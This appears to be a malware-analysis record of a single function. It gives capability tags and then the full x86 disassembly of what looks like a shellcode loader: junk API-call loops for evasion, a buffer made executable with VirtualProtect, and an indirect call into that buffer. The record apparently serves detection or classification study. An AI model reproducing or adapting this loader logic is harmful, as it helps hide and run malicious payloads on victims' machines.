Function at 0x423a50
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Move file
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x426c86
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2470
call fcn.0040f1c0
push ebx
mov ebx, dword [sym.imp.GDI32.dll_SetBkColor]
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
lea esp, [esp]
cmp esi, 0x1e308
jge 0x423aa0
call edi
push 0
push 0
call ebx
cmp esi, 0x1e9a5e4e
jle 0x423aba
cmp ebp, 0xbf1ed8
je 0x423aba
cmp dword [esp + 0x3c], 0x9175f68
jne 0x423ac3
inc esi
cmp esi, 0x98a00
jl 0x423a90
cmp dword [0x258fac4], 0xcf8
jne 0x423bd5
push 0
push 0
push 0
call fcn.004055ed
add esp, 0xc
push 0x4035c0
xor edi, edi
push edi
call fcn.004055ed
push edi
push edi
push edi
push edi
call fcn.004052aa
push edi
call fcn.004055b2
add esp, 0x1c
push edi
push edi
call fcn.00404c2c
push edi
call fcn.004055e2
add esp, 0xc
mov dword [esp + 0x68], edi
mov dword [esp + 0x6c], edi
mov dword [esp + 0x70], edi
mov dword [esp + 0x248c], edi
xor eax, eax
mov dword [esp + 0x44], 0xf
mov dword [esp + 0x40], edi
mov byte [esp + 0x30], 0
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x423b40
sub eax, edx
mov esi, eax
cmp esi, 0xfffffffe
jbe 0x423b5a
push 0x403bdc
call fcn.00404b8b
cmp esi, 0xf
jbe 0x423b6d
push edi
push esi
lea eax, [esp + 0x38]
push eax
call fcn.00404970
jmp 0x423b7a
cmp esi, edi
jne 0x423b7c
mov dword [esp + 0x40], edi
mov byte [esp + 0x30], 0
cmp esi, edi
seta al
mov ebx, 0x10
test al, al
je 0x423bb7
mov eax, dword [esp + 0x30]
cmp dword [esp + 0x44], ebx
jae 0x423b96
lea eax, [esp + 0x30]
push esi
push edi
push eax
call fcn.00409f00
mov eax, dword [esp + 0x3c]
add esp, 0xc
mov dword [esp + 0x40], esi
cmp dword [esp + 0x44], ebx
jae 0x423bb3
lea eax, [esp + 0x30]
mov byte [eax + esi], 0
cmp dword [esp + 0x44], ebx
jb 0x423bca
mov ecx, dword [esp + 0x30]
push ecx
call fcn.004056aa
add esp, 4
call fcn.00404bf9
push edi
call fcn.00405560
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
mov ebx, dword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
xor esi, esi
cmp esi, 0x408
jne 0x423bf6
mov eax, 0x5d1
add dword [0x258fac4], eax
cmp dword [0x258fac4], 3
jne 0x423c0f
push 0
call edi
push 0
lea edx, [esp + 0x84]
push edx
call ebx
inc esi
cmp esi, 0x1518d4
jl 0x423be3
mov eax, dword [0x258fac4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x445854], eax
mov eax, dword [0x258fac4]
xor esi, esi
test eax, eax
je 0x423c8e
mov edi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebp, dword [sym.imp.KERNEL32.dll_WriteProfileSectionA]
cmp eax, 0xfe
jne 0x423c61
push 0
call edi
call ebx
push 0x4035cc
push 0x4035ec
call ebp
call fcn.00423720
mov eax, dword [0x258fac4]
cmp eax, 0x29
jne 0x423c89
lea ecx, [esp + 0x14]
push ecx
push 0
push 0x403608
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
mov eax, dword [0x258fac4]
inc esi
cmp esi, eax
jb 0x423c48
cmp eax, 0x70
jne 0x423d58
push 0x403670
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0
push 0x4036b0
push 0
push 0x403720
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
lea edx, [esp + 0x480]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0
lea eax, [esp + 0x1484]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0x403774
push 0x403790
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push 0
push 0
call edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
lea ecx, [esp + 0xc88]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
lea edx, [esp + 0x84]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0
call edi
push 0x4037e8
push 0x4038d8
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push 0x403910
call esi
mov eax, dword [0x258fac4]
mov esi, dword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
mov ebp, dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapQueryInformation]
mov dword [esp + 0x14], 0x9682ab
cmp eax, 3
jne 0x423dab
push 0
lea eax, [esp + 0x24]
push eax
push 0
lea ecx, [esp + 0x148c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
lea edx, [esp + 0x80]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [0x258fac4]
cmp eax, 0xdf
jne 0x423eb9
push 0x403938
push 0
push 0
call esi
lea eax, [esp + 0x24]
push eax
push 0x403978
push 0
call edi
xor eax, eax
lea ecx, [esp + 0x28]
push ecx
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
call ebp
push 0x4039f8
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
lea edx, [esp + 0x1c]
push edx
push 0
lea eax, [esp + 0x1488]
push eax
push 0
push 0
call ebx
lea ecx, [esp + 0x68]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0x403a20
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x403a98
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
lea edx, [esp + 0xc84]
push edx
push 0x403aa0
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x484]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x30
lea edx, [esp + 0x38]
push 0
push edx
mov dword [esp + 0x3c], 0
call fcn.00409e80
add esp, 0xc
push 0
lea eax, [esp + 0x34]
push eax
push 0x403ae8
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov eax, dword [0x258fac4]
dec dword [esp + 0x14]
jne 0x423d78
mov esi, dword [sym.imp.USER32.dll_CharUpperA]
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidthA]
mov ebp, 0x3a5e74
lea ebx, [ebx]
push 0
call esi
push 0
call edi
push 0
push 0
push 0
push 0
call ebx
dec ebp
jne 0x423ee0
mov esi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edi, 0x25887
cmp dword [0x258fac4], 0x222
jne 0x423f10
push 0
call esi
dec edi
jne 0x423f00
mov edx, dword [0x258fac4]
mov eax, dword [0x445854]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push edx
push eax
mov byte [0x440ac0], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00423a00
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
xor esi, esi
mov ebx, 0xba
cmp dword [0x258fac4], ebx
jne 0x423f5e
lea ecx, [esp + 0x18]
push ecx
push 0
lea edx, [esp + 0x70]
push edx
push 0
call edi
cmp esi, 0x2f64
jne 0x423f70
add dword [0x445854], 0x4cf5
inc esi
cmp esi, 0x1605a
jl 0x423f46
call fcn.00423830
cmp dword [0x258fac4], 0xc30
jne 0x42403e
lea eax, [esp + 0x1480]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea ecx, [esp + 0x80]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
lea edx, [esp + 0xc84]
push edx
push 0
push 0x403bc8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
lea eax, [esp + 0x1c]
push eax
push 0
lea ecx, [esp + 0x48c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push 0
lea edx, [esp + 0x1c84]
push edx
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x30]
push ecx
lea edx, [esp + 0x30]
push edx
lea eax, [esp + 0x28]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PurgeComm]
push 0
call dword [sym.imp.KERNEL32.dll_SwitchToFiber]
mov ecx, dword [esp + 0x2484]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret